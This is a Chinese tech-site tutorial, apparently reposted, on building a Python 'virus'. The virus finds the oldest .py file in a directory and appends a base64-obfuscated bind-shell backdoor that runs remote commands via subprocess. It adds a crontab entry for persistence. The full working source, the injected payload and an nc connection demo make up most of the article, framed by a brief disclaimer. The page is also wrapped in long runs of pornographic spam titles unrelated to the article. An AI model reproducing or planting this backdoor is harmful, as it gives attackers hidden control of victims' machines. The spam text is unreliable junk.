精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

來看看 Python 病毒長啥樣

開發 后端
今天的文章來展示一個 Python“病毒”,它感染其他 Python 文件來創建一個后門。后門利用 Python 的內置 socket 模塊來創建一個監聽器,用來連接到 Python 的內置子進程模塊,從而靶機上執行命令,同時還通過創建一個 cronjob 來建立持久性,以在每天固定的時間運行后門。最終完整的 Python 腳本包含在本文末尾。

[[438965]]

大家好,抱歉偷懶了幾天,最近的作息也逐漸規律起來,更新也會盡量在早上 7 點前發出。接下來的日子里,讓我們繼續玩轉 Python。

今天的文章來展示一個 Python“病毒”,它感染其他 Python 文件來創建一個后門。后門利用 Python 的內置 socket 模塊來創建一個監聽器,用來連接到 Python 的內置子進程模塊,從而靶機上執行命令,同時還通過創建一個 cronjob 來建立持久性,以在每天固定的時間運行后門。最終完整的 Python 腳本包含在本文末尾。注意:請不要將本文中提供的 Python 腳本用于惡意目的。雖然它不先進,但經過一些修改,它可以讓完全控制某人的計算機。本文的主要目的是通過這些腳本,更好地了解黑客如何獲取正常程序并使它們成為惡意程序。

話不多說,讓我們開始吧。

1、建立通信

任何后門最重要的部分都是建立通信。現在,讓我們為后門訪問編寫一段代碼。通過 TCP 連接到靶機,我們使用套接字模塊監聽黑客的連接請求。在 socket 模塊中,有一個函數也稱為 socket,我們可以使用它來創建 TCP 或 UDP 套接字。使用 socket.socket 函數創建套接字時,我們需要提供兩個參數來指定我們要使用的 IP 版本和第 4 層協議。在這個 Python 腳本中,我們將傳入以下參數:socket.AF_INET 和 socket.SOCK_STREAM。

  • AF_INET : 指定 IPv4
  • SOCK_STREAM :指定 TCP 而不是 UDP。
  • socket.socket 函數返回一個對象,該對象由最終確定正在創建的套接字是偵聽套接字(服務器)還是連接套接字(客戶端)的方法組成。要創建偵聽套接字,需要使用以下方法:
  • bind > 將 IP 地址和端口綁定到網絡接口
  • listen > 指示我們的套接字開始監聽傳入的連接
  • accept > 接受傳入連接
  • recv > 從連接的客戶端接收數據
  • send > 向連接的客戶端發送數據

然而,最重要的方法是 recv 和 send。recv 方法會接收來自攻擊者的命令,使用 subproces.run 函數在受害者的系統上執行它們,然后將執行命令的標準輸出重定向到與攻擊者建立的 TCP 連接。下面是 Python 代碼:

  1. from socket import socket, AF_INET, SOCK_STREAM 
  2. from subprocess import run, PIPE 
  3. from os import _exit 
  4.  
  5.  
  6. def serve(): 
  7.     with socket(AF_INET, SOCK_STREAM) as soc: 
  8.         # [*] The obfuscated values are just the IP address and port to bind to 
  9.         soc.bind((ip, 端口)) 
  10.         soc.listen(5) 
  11.         while True
  12.             conn, _ = soc.accept() 
  13.             while True
  14.                 cmd = conn.recv(1024).decode("utf-8").strip() 
  15.                 cmd_output = run(cmd.split(), stdout=PIPE, stderr=PIPE) 
  16.                 if cmd_output.returncode == 0: 
  17.                     conn.send(bytes(cmd_output.stdout)) 
  18.                 else
  19.                     continue 
  20.  
  21.  
  22. serve() 

2、感染目標 Python 文件

這段程序通過遍歷指定目錄(最好是用戶的主目錄)并查找修改時間最早的 Python 腳本。這里是測試,因此不是感染所有 Python 文件,而僅感染修改時間最早的文件。感染一個 Python 文件對于控制靶機來說已經夠了。

  1. def MTRkYmNubWx(self): 
  2.     YWJyZmFm = "/" if self.bGpqZ2hjen == "Linux" else "\\" 
  3.     for Z3Jvb3RhbGZq, _, _ in walk(self.cHlkYWNhZWFpa): 
  4.         for f in glob(Z3Jvb3RhbGZq + YWJyZmFm + "*.py"): 
  5.             if f == Z3Jvb3RhbGZq + YWJyZmFm + __file__: 
  6.                 continue 
  7.             eHhtbG1vZGF0 = stat(f).st_mtime 
  8.             ZHRmbGNhbW9k = datetime.fromtimestamp(eHhtbG1vZGF0) 
  9.             if not self.Z2hhenh4ZGwK: 
  10.                 self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k) 
  11.             elif ZHRmbGNhbW9k < self.Z2hhenh4ZGwK[1]: 
  12.                 self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k) 
  13.     self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0]) 

上述代碼的部分變量使用了混淆,讓人不易看懂,其實很簡單,就是使用 os 模塊中定義的 walk 和 stat 函數來遍歷目錄文件并獲取它們的修改時間。獲得的每個文件的修改時間被轉換為 datetime.datetime 對象,以便我們可以使用 > < 和 == 等運算符輕松比較日期。在這個函數的最后,選定的目標 Python 文件名被傳遞到將后門服務器代碼注入其中的函數。

3、通過 crontab 任務來持久化

這個 Python 后門的最后一個函數使用 subprocess.run 函數來調用一個 Linux shell 命令,該命令將在當前用戶的 crontab 文件中創建一個條目。此條目指定計劃的 cronjob 應在每天 14:00 定時運行。添加 crontab 對應的 shell 命令如下:

  1. echo '00 14 * * * file_name | crontab - 

然后我們讓 Python 把上一步感染的文件添加到 crontab 中:

  1. def YWZhdGhjCg(self): 
  2.     if self.bGpqZ2hjen == "Linux":  
  3.         run(f"echo '00 14 * * * {self.Z2hhenh4ZGwK[0]}' | crontab -", shell=True

4、最終的完整代碼

  1. #!/usr/bin/env python3 
  2. from os.path import expanduser 
  3. from os import walk, stat 
  4. from sys import path 
  5. from glob import glob 
  6. from platform import system 
  7. from base64 import b64encode, b64decode 
  8. from subprocess import run, PIPE 
  9. from datetime import datetime 
  10.  
  11.  
  12. class eHhjemR5eXB: 
  13.     def __init__(self, cHlkYWNhZWFpa): 
  14.         self.cHlkYWNhZWFpa = cHlkYWNhZWFpa 
  15.         self.bGpqZ2hjen = system() 
  16.         self.aWFmYXRye = "0.0.0.0" 
  17.         self.ZmFsa2p0aGM = 0x401 
  18.         self.Z2hhenh4ZGwK = None 
  19.  
  20.     def dGVyeXB6Y2FjeH(self, dGR6eGFteXBxC): 
  21.         YWxmanRob = b"from socket import socket, AF_INET, SOCK_STREAM" 
  22.         YWxmanRob += b"\nfrom subprocess import run, PIPE" 
  23.         YWxmanRob += b"\ndef serve():" 
  24.         YWxmanRob += b"\n\twith socket(AF_INET, SOCK_STREAM) as soc:" 
  25.         YWxmanRob += bytes( 
  26.             f'\n\t\tsoc.bind(("{self.aWFmYXRye}", {self.ZmFsa2p0aGM}))'"utf-8" 
  27.         ) 
  28.         YWxmanRob += b"\n\t\tsoc.listen(5)" 
  29.         YWxmanRob += b"\n\t\twhile True:" 
  30.         YWxmanRob += b"\n\t\t\tconn, _ = soc.accept()" 
  31.         YWxmanRob += b"\n\t\t\twhile True:" 
  32.         YWxmanRob += b'\n\t\t\t\tcmd = conn.recv(1024).decode("utf-8").strip()' 
  33.         YWxmanRob += ( 
  34.             b"\n\t\t\t\tcmd_output = run(cmd.split(), stdout=PIPE, stderr=PIPE)" 
  35.         ) 
  36.         YWxmanRob += b"\n\t\t\t\tif cmd_output.returncode == 0:" 
  37.         YWxmanRob += b"\n\t\t\t\t\tconn.send(bytes(cmd_output.stdout))" 
  38.         YWxmanRob += b"\n\t\t\t\telse: continue" 
  39.         YWxmanRob += b"\nserve()" 
  40.  
  41.         YWxmanRob_base64 = b64encode(YWxmanRob) 
  42.         cXBxZXJjYQ = "\n" * 0x2 + "from subprocess import run\n" 
  43.         cXBxZXJjYQ += 'run("""python3 -c "from binascii import a2b_base64;' 
  44.         cXBxZXJjYQ += 'exec(a2b_base64(\'{}\'))" &""",shell=True)'.format( 
  45.             YWxmanRob_base64.decode() 
  46.         ) 
  47.  
  48.         with open(dGR6eGFteXBxC, "a"as f: 
  49.             f.write(cXBxZXJjYQ) 
  50.         self.ZmFsa2p0aGM += 1 
  51.  
  52.     def MTRkYmNubWx(self): 
  53.         YWJyZmFm = "/" if self.bGpqZ2hjen == "Linux" else "\\" 
  54.         for Z3Jvb3RhbGZq, _, _ in walk(self.cHlkYWNhZWFpa): 
  55.             for f in glob(Z3Jvb3RhbGZq + YWJyZmFm + "*.py"): 
  56.                 if f == Z3Jvb3RhbGZq + YWJyZmFm + __file__: 
  57.                     continue 
  58.                 eHhtbG1vZGF0 = stat(f).st_mtime 
  59.                 ZHRmbGNhbW9k = datetime.fromtimestamp(eHhtbG1vZGF0) 
  60.                 if not self.Z2hhenh4ZGwK: 
  61.                     self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k) 
  62.                 elif ZHRmbGNhbW9k < self.Z2hhenh4ZGwK[1]: 
  63.                     self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k) 
  64.         self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0]) 
  65.  
  66.     def YWZhdGhjCg(self): 
  67.         if self.bGpqZ2hjen == "Linux"
  68.             run(f"echo '37 13 * * * {self.Z2hhenh4ZGwK[0]}' | crontab -", shell=True
  69.  
  70.  
  71. if __name__ == "__main__"
  72.     # For traversing the user's home directory 
  73.     # aGdsZGFx = expanduser('~'
  74.     # YmNjLGFka2x = eHhjemR5eXB(aGdsZGFx) 
  75.     YmNjLGFka2x = eHhjemR5eXB("./test"
  76.     YmNjLGFka2x.MTRkYmNubWx() 
  77.     YmNjLGFka2x.YWZhdGhjCg() 

在靶機執行該代碼后,會感染 ./test 目錄中最早修改的文件(目標文件),會自動在目標文件的最后添加這兩行代碼:

  1. from subprocess import run 
  2. run("""python3 -c "from binascii import a2b_base64;exec(a2b_base64('ZnJvbSBzb2NrZXQgaW1wb3J0IHNvY2tldCwgQUZfSU5FVCwgU09DS19TVFJFQU0KZnJvbSBzdWJwcm9jZXNzIGltcG 

是不是非常隱蔽?

5、訪問后門

為了測試,我們手動執行下感染的文件,而不是等待 crontab。

  1. ~ # crontab -l 
  2. 37 13 * * * /root/transferfile/transfile_interface.py 
  3. ~ # cd transferfile/ 
  4. ~/transferfile # python transfile_interface.py 
  5. ~/transferfile #  

程序正常結束,沒有任何異常。然后使用 nc localhost 1025 來反彈一個 shell,在這里執行 ls, whoami 就是靶機的信息了:

這里演示的 localhost 即為靶機,真實場景下就是靶機的 ip 地址。現在靶機已經完全被控制了,而受害者完全不知情。

最后的話 

現在,你已經學習了如何使用 Python 編程語言創建持久性后門,學習了如何使用 Python 的 socket 模塊、如何遍歷目錄以及如何創建 crontab 任務。如果要感染真實靶機,還要學會如何分發這個后門程序,這里不做探討。

 

責任編輯:武曉燕 來源: Python七號
相關推薦

2022-04-07 07:51:40

代碼結構設計

2013-12-03 10:33:51

微軟Windows 9

2018-02-25 23:12:16

2014-11-05 10:08:50

2020-01-09 10:03:41

AI 數據人工智能

2022-10-10 11:32:01

數據分析技術

2021-06-24 05:40:28

Windows 10操作系統微軟

2020-05-07 14:59:52

iOS 13.5蘋果更新

2015-09-11 09:59:04

阿里云數據中心

2020-04-29 09:30:48

Google面試題工程師

2021-02-06 14:36:39

數字人民幣數字貨幣區塊鏈

2011-09-29 10:13:54

IBM私有云云計算

2020-07-21 14:40:45

Spring Boot單元測試Java

2013-10-29 09:35:54

Windows 9概念圖

2020-04-16 12:04:09

5G基站4G

2021-06-24 05:39:16

Windows 1操作系統微軟

2020-01-07 08:44:33

5G網絡4G

2020-11-02 07:59:40

高并發系統業務

2025-02-24 09:56:13

交換機網絡通信
點贊
收藏

51CTO技術棧公眾號

成人美女免费网站视频| 在线观看国产精品日韩av| 日本人体一区二区| 亚洲欧美综合在线观看| 免费一区二区视频| 久久久久国产视频| 欧美成人国产精品一区二区| 成人黄色91| 精品成人久久av| 一区二区视频在线播放| 五月婷婷伊人网| 国产中文字幕精品| 欧美与欧洲交xxxx免费观看| 午夜激情福利网| 最新亚洲精品| 欧美大胆人体bbbb| 超碰超碰在线观看| 免费成人在线电影| 亚洲综合偷拍欧美一区色| 日韩高清国产一区在线观看| 性生交大片免费看女人按摩| 日韩精彩视频在线观看| 97涩涩爰在线观看亚洲| 91香蕉视频在线播放| 久久99蜜桃| 亚洲精品一区二区三区99| 亚洲精品20p| 欧美成人影院| 精品国产成人av| 一二三在线视频| 在线观看的av| 国产日本欧洲亚洲| 免费精品视频一区| 亚洲精品字幕在线| 国产一区不卡视频| 国产在线观看不卡| 欧美国产一级片| 久久黄色网页| 欧美在线视频网| 久草精品视频在线观看| 亚洲综合婷婷| 久久综合88中文色鬼| 精品在线观看一区| 欧美特黄一级大片| 亚洲夜晚福利在线观看| 久久无码人妻精品一区二区三区 | 浅井舞香一区二区| 国产无套粉嫩白浆内谢| 在线欧美视频| 国模精品视频一区二区| 久久免费视频精品| 尤物网精品视频| 国模极品一区二区三区| 日韩精品――中文字幕| 最新日韩欧美| 51精品国产黑色丝袜高跟鞋| 在线观看亚洲天堂| 一区二区国产精品| 日本精品久久中文字幕佐佐木| 日韩和一区二区| 午夜亚洲影视| 国产成人综合一区二区三区| 91丨九色丨海角社区| 秋霞午夜鲁丝一区二区老狼| 国产精品视频在线播放| 91theporn国产在线观看| 国产尤物一区二区在线| 91久久精品国产91久久性色tv| 国产白浆在线观看| 成人黄色av网站在线| 久久精品日产第一区二区三区精品版 | 天堂网中文在线观看| 午夜精品毛片| 久久久久久久久久久成人| 免费在线不卡视频| 久久在线精品| 国产欧美久久久久久| 97成人免费视频| 国产suv一区二区三区88区| 国产亚洲欧美一区二区三区| 久久综合九色综合久| 国产精品二区一区二区aⅴ污介绍| 四虎永久免费网站| 国产高清视频色在线www| 色婷婷精品大在线视频| www.成年人| 日韩精品免费一区二区夜夜嗨| 亚洲午夜激情免费视频| 国产精品国产精品88| 亚洲狠狠婷婷| 国产日韩av在线| 日韩一级片免费| 欧美国产亚洲另类动漫| 成年人深夜视频| 日本久久免费| 精品免费一区二区三区| 精品成人无码一区二区三区| 欧美jizzhd精品欧美巨大免费| 4p变态网欧美系列| a视频免费在线观看| 26uuu国产在线精品一区二区| 亚洲欧美日韩另类精品一区二区三区| 天堂成人av| 在线观看av一区| 精品熟女一区二区三区| 欧美成人自拍| 91成人免费观看网站| 国产精品爽爽久久| 久久亚区不卡日本| 日本a在线天堂| 成人在线视频免费| 日韩电影第一页| 强行糟蹋人妻hd中文| 日日夜夜一区二区| 国产在线视频欧美一区二区三区| 欧美三级理伦电影| 色综合久久中文综合久久97 | 亚洲av无码不卡| 成人动漫在线一区| 亚洲小说欧美另类激情| 国产精品xxx| 亚洲人成网站免费播放| 欧美成人aaaaⅴ片在线看| 国产一区在线精品| 亚洲欧洲久久| 三上悠亚亚洲一区| 日韩精品在线视频| 日韩av一二三区| 福利91精品一区二区三区| 午夜在线视频免费观看| 不卡亚洲精品| 中文字幕久精品免费视频| 男人日女人网站| 91麻豆文化传媒在线观看| 日韩av中文字幕第一页| 日韩高清一区| 久久91精品国产| 国产成人精品毛片| 亚洲天堂久久久久久久| 在线观看国产一级片| 成人影院在线| 国产美女91呻吟求| 色三级在线观看| 欧美日本一区二区在线观看| 永久免费av无码网站性色av| 天堂va蜜桃一区二区三区 | 午夜av中文字幕| 97视频热人人精品免费| 国产精品专区一| 欧美成人精品一区二区男人看| 欧美色视频在线观看| 人成免费在线视频| 美国十次了思思久久精品导航| 日韩欧美电影一区二区| 电影在线观看一区二区| 中文国产成人精品| 一级黄色片在线看| 亚洲人成网站在线| 亚洲av综合色区无码另类小说| 欧美午夜不卡影院在线观看完整版免费| 成人女保姆的销魂服务| 在线午夜影院| 亚洲成人在线视频播放| 精品成人av一区二区在线播放| 国产不卡视频在线播放| 日韩av一二三四区| 精品一区不卡| 91在线观看免费高清| 手机av免费在线| 日韩av在线免费观看| 91视频在线视频| 中文字幕五月欧美| 欧美人与性动交α欧美精品| 中文亚洲欧美| 亚洲v国产v在线观看| 国产精品美女久久久久人| 欧美精品久久久久久久免费观看| 天天综合网在线观看| 粉嫩av一区二区三区免费野| 亚洲色图 激情小说| 国产一区二区三区视频在线播放| www.国产在线视频| 奇米亚洲欧美| 5566中文字幕一区二区| 亚洲天堂电影| 久久久国产精品x99av| 天堂中文在线观看视频| 欧美系列亚洲系列| 国产在线综合网| 久久精品男人的天堂| 中文字幕一区二区在线观看视频| 日韩视频一区| 一区二区av| 欧美aaaaa级| 成人精品在线视频| 午夜不卡影院| 欧美另类在线播放| 欧美美女色图| 欧美xxxx在线观看| 最近中文字幕在线视频| 亚洲午夜激情网站| 开心激情五月网| 91麻豆高清视频| 色婷婷狠狠18禁久久| 日韩电影一二三区| av网站大全免费| 亚欧美无遮挡hd高清在线视频 | 婷婷激情综合| 欧美另类一区| 国产成人tv| 成人黄色在线免费| 欧美精品高清| 欧美一级电影在线| 1stkiss在线漫画| 中文日韩在线视频| 每日更新在线观看av| 亚洲成人久久久久| 国产成人毛毛毛片| 欧美日韩在线免费视频| aaaaaa毛片| 精品国产精品三级精品av网址| 日本青青草视频| 亚洲色图欧美在线| 变态另类ts人妖一区二区| 91亚洲国产成人精品一区二三| 香蕉网在线视频| 激情久久五月天| 自拍偷拍一区二区三区四区| 蜜桃av综合| 粉嫩虎白女毛片人体| 国产一区白浆| 欧美三级在线观看视频| 国产精品第十页| 国产欧美久久久久| 中文字幕一区二区三区欧美日韩| 亚洲狠狠婷婷综合久久久| 精品理论电影在线| 日本不卡久久| 久久av网址| 欧美三级华人主播| 九九热线有精品视频99| 精品国产福利| 三级小说欧洲区亚洲区| 国产一区二区三区四区hd| 中文字幕一区二区三区四区久久| 99蜜桃在线观看免费视频网站| 国产视频一区二区在线播放| 亚洲qvod图片区电影| 欧美电影院免费观看| 51午夜精品| 久久久久久毛片免费看| 久久精品日韩精品| 亚洲另类春色校园小说| 欧美日韩在线精品| 欧洲激情综合| 伊人av成人| 你懂的国产精品| 久久久久99精品成人片| 99国产精品视频免费观看一公开| 欧美精品久久久久久久免费| 羞羞视频在线观看欧美| 91视频免费版污| 久久成人久久鬼色| 九九热视频免费| 成人一区二区视频| 中文字幕在线看高清电影| 久久精品日产第一区二区三区高清版| 青娱乐国产视频| 亚洲视频中文字幕| 日本一级淫片色费放| 日韩欧美中文字幕在线观看| 丰满熟女人妻一区二区三| 欧美精品自拍偷拍| 亚洲乱色熟女一区二区三区| 日韩av在线免费看| 在线观看av黄网站永久| 久久久久成人精品| av亚洲一区二区三区| 92看片淫黄大片欧美看国产片| 红杏一区二区三区| 亚洲免费在线精品一区| 亚洲欧美一级二级三级| 国产最新免费视频| 精品一二三四区| 亚洲熟女乱综合一区二区三区| 国产喂奶挤奶一区二区三区| 欧产日产国产v| 色视频一区二区| 国产又粗又猛又黄又爽| 亚洲精品999| 日本在线天堂| 欧洲成人在线视频| 国产区一区二| 婷婷五月色综合| 激情综合在线| 超碰成人在线播放| 91色婷婷久久久久合中文| 自拍偷拍第9页| 黄色成人av网| 国产丝袜在线视频| 亚洲性生活视频| 九色porny自拍视频在线播放| 国产女人精品视频| 国产精品一区高清| 精品国产av无码一区二区三区| 免费高清不卡av| 97人妻精品一区二区三区免| 一二三四区精品视频| 夜夜嗨aⅴ一区二区三区| 日韩精品在线视频| 男女羞羞视频在线观看| 成人亚洲激情网| 狠狠做六月爱婷婷综合aⅴ| 成年人看的毛片| 国产麻豆视频一区| 女人黄色一级片| 日韩欧美主播在线| 午夜视频在线播放| 欧美日韩成人免费| 精品国产一级| 亚洲永久一区二区三区在线| 首页国产欧美日韩丝袜| 三级男人添奶爽爽爽视频| 亚洲一区二区av在线| 999免费视频| 中文字幕日韩专区| 国产日韩另类视频一区| 久久国产精品一区二区三区四区| 欧美日韩精品| 韩国三级hd中文字幕有哪些| 亚洲欧洲成人自拍| 亚洲资源在线播放| 伊人伊成久久人综合网站| 超级碰碰久久| 看高清中日韩色视频| 国产欧美亚洲一区| 亚洲最大的黄色网| 污片在线观看一区二区| 人妻精品无码一区二区| 久久久久这里只有精品| 伊人久久噜噜噜躁狠狠躁| 国产欧美123| 国产福利一区在线观看| 欧美成人国产精品高潮| 日韩亚洲欧美成人一区| 国产网红在线观看| 国产另类自拍| 国产日韩一区| 91精品国产自产| 色又黄又爽网站www久久| 国产福利小视频在线| 91精品免费看| 亚洲在线久久| 中文字幕第九页| 午夜电影一区二区三区| 青青草免费观看免费视频在线| 日本午夜在线亚洲.国产| 欧美综合久久| 999久久久精品视频| 一区二区三区影院| 天天干天天操av| 日韩免费观看在线观看| 日韩电影二区| 中文字幕久久久久久久| 欧美日韩久久久久| 国外av在线| 亚洲aa中文字幕| 亚洲日本激情| 成人黄色免费网址| 欧美精品欧美精品系列| 久久久123| 欧美日韩最好看的视频| 狠狠狠色丁香婷婷综合激情| 久久这里只有精品免费| 亚洲欧美另类在线观看| 欧美啪啪网站| 天堂8在线天堂资源bt| 久久精品一区二区三区不卡牛牛 | 国产精品夜夜爽| 国产小视频在线免费观看| 一本色道久久综合狠狠躁篇的优点| 亚洲国产aⅴ精品一区二区三区| 日韩久久久久久久久久久久| 久久免费国产精品| 在线观看国产精品入口男同| 欧美激情一二三| 国产一区二区三区站长工具| 午夜不卡福利视频| 精品久久久视频| 91亚洲天堂| 欧美午夜精品久久久久免费视| 精品一区二区三区在线播放视频| 日韩欧美激情视频| 色婷婷久久av| 窝窝社区一区二区| 国产欧美精品一二三| 色狠狠桃花综合| 欧美巨大xxxx做受沙滩| 亚洲精品国产精品久久| 97国产一区二区|